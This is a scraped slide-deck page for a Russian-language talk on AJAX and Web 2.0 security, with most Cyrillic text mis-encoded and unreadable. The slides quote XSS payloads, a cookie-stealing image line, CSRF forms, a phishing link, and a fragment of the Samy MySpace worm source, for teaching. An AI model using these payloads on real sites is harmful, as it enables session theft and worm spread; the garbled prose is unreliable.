![亠亰仂仗舒仆仂 AJAX Web 2.0 Security 舒仗舒仆仂于 仍亠从亠亶 仗仂亞舒仄仄亳, 舒仄弍仍亠 [email_address]](https://image.slidesharecdn.com/web-20-security-10575/85/AJAX-Security-1-320.jpg)
![Javascript is the new shellcode MySpace worm, 束samy is my hero損, 仂从磡 2004 {var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var 仂 亟舒仆仆仄 OWASP 于 2007 亞. XSS 仂弍仂亞仆舒仍舒 shell & sql injections.](https://image.slidesharecdn.com/web-20-security-10575/85/AJAX-Security-18-320.jpg)
More Related Content
What's hot (19)
Viewers also liked (9)
Similar to AJAX Security (20)
AJAX Security
- 1. 亠亰仂仗舒仆仂 AJAX Web 2.0 Security 舒仗舒仆仂于 仍亠从亠亶 仗仂亞舒仄仄亳, 舒仄弍仍亠 [email_address]
- 2. 丶亠仍 亟仂从仍舒亟舒 舒从仂于 仂仆仂于仆亠 亞仂亰 亳 舒舒从亳? 丼仂 仆仂于仂亞仂 仗亳仆 .仆. AJAX? 仂仗亞舒. 亠仄仆仂亢从仂 舒亰于仍亠.
- 4. 亠弍 仂仆仂于仆仂亠 仗亳仍仂亢亠仆亳亠 仂于亠仄亠仆仆仂亞仂 仆亠仆亠舒. 亠弍 舒仄仂亠 仆亠亰舒亳仆仆仂亠 仗亳仍仂亢亠仆亳亠 仆亠仆亠舒. 1 弍舒亰亠, 1 仗仂仂从仂仍, 1 弌, 2 磶从舒; 仂亞仂仄仆舒 仗仍仂舒亟 舒舒从亳; 仗仂亳从仂于亠 亳亠仄; 舒仄亳 script kiddies. 亠弍 仆舒亟仂 亰舒亳舒
- 5. 仂仍亳仄亠 90% 于亠弍-舒亶仂于 (于 UK) 仂亟亠亢舒 磶于亳仄仂亳 (仗仂 亟舒仆仆仄 NTA Monitor). Google 仆舒仂亟亳 仗仂亳 2 仄亳仍仍亳仂仆舒 仗弍仍亳仆 亳仆舒仍仍亳亶 phpBB. CERT 仂仗弍仍亳从仂于舒仍 advisory 仆舒 XSS 02.02.2000, xss 于 mail.li.ru 亰舒 30 亠从仆亟.
- 6. 仂于舒 亠仍 仗仂仍亰仂于舒亠仍 舒从亳 仆舒 仗亳仍仂亢亠仆亳亠 code, SQL injection 舒从亳 仆舒 仗仂仍亰仂于舒亠仍亠亶 仄仗亠仂仆舒亳 舒于舒 弍舒亰亠舒 个亳亳仆亞 舒亢舒 亟舒仆仆 弌仄. OWASP Top Ten 2007.
- 7. 仂 亟舒仆仆仄 Sokr.Ru: 亊弌 于仂亳亠, 亊仆仂, 仂仄仗亠亠仆仆仂, 弌仂亟亠亶于亳亠
- 8. Hey, Jacks AJAX 仆亠 仂亰亟舒 仆仂于 磶于亳仄仂亠亶 (亠仂亠亳亠从亳). AJAX 亟仂仗仂仍仆亳亠仍仆亶 亳仆仄亠仆 舒从亠舒. XmlHttpRequest 仆亠 亠亟亳仆于亠仆仆亶 亠从于亠仂 (Flash, <script src=/slideshow/web-20-security/55452/& etc.) 舒仍亠亠 弍亟 仗舒 弍仍仂从仂于: 束弍仍仂損 vs. 束舒仍仂損.
- 9. XSS (Cross Site Scripting) s.cgi?q=<script>alert('XSS')</script> img1.src=/slideshow/web-20-security/55452/& + cookie; 舒于舒 弍舒亰亠舒 (Carnaval, AttackAPI) setTimeout loop + remote reqs JS-从仂亟 舒亰亠 亰仍仂亟亠亶.com/control.cgi
- 10. 油
- 11. XSS <script> var re = /<?= $text ?>/; </script> $text = q{a/;alert(42);/}; <script> var re = /a/; alert(42);//; </script> HTML-从亠亶仗亳仆亞舒 仆亠亟仂舒仂仆仂!
- 12. CSRF (X Site Request Forgery) <img src=/slideshow/web-20-security/55452/& <form action='http://site.ru/zap_db.cgi'> <iframe src='http://site.ru/show_password.cgi'> 从仍亳亠仆从亳亠 POST <script src=.../ajax-response />
- 13. CSRF <script src=/slideshow/web-20-security/55452/.../ajax-response> JS 从仂亟 JSON 亟舒仆仆亠 (亠弍亠 仗仂亟仄亠仆舒 从仂仆从仂舒) 仍舒亳亠从舒 舒舒从舒 仆舒 Gmail, 礌于舒 2006. 丕磶于亳仄 仆亠从仂仂亠 于亠弍仄亠亶仍 仆亠舒.
- 14. CSRF <form action=zap_db.cgi> <input type=hidden name=key value='secret_jkd7834hj70jk'> 亠 舒弍仂舒亠: XmlHttpRequest * mhtml MSIE vuln = 从仍亳亠仆从亳亶 GET 仍ﾐ頴笑覚 亟仂从仄亠仆舒. 丕磶于亳仄 于亠 仂仄 仆亠仆亠舒.
- 15. All your cookies are belong to us img1.src = /slideshow/web-20-security/55452/& + document.cookie; 舒亳舒: httponly cookies. 亠 舒弍仂舒亠: XST. TRACE / HTTP/1.1 Cookies: XHR 亠于亠 squid
- 16. 个亳亳仆亞 <a href=http://亰仍仂亟亠亶.com/bank.html> Click to Enter YOUR Bank!!</a> <form action=http://舒仆仂仄舒.com> 于亠亟亳亠 仆仂仄亠 从亠亟亳从亳: <input> XSS+AJAX = 仄仍亳 弍舒仆从舒 仆舒 JavaScript, 仗亠亠亟舒于舒亠仄舒 于 URL!
- 17. 油
- 18. Javascript is the new shellcode MySpace worm, 束samy is my hero損, 仂从磡 2004 {var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var 仂 亟舒仆仆仄 OWASP 于 2007 亞. XSS 仂弍仂亞仆舒仍舒 shell & sql injections.
- 19. 仄 仆亠 舒从舒亰舒仆仂 OpenID 仄亠舒 亳亠舒. XSS 于 RSS. 亠亠仆仂 亟仂于亠亳 亠于亳舒 仆舒 UGC (亳仆亳亟亠仆 NetVibes). 舒从亳 仆舒 client-side persistence (visited links, cache).
- 20. 亳仄亠 Drive-by Pharming. MySpace worm 束samy is my hero損, 仄亳仍仍亳仂仆 束亠仆亟仂于損 亰舒 从亳.
- 21. 仂仗仂?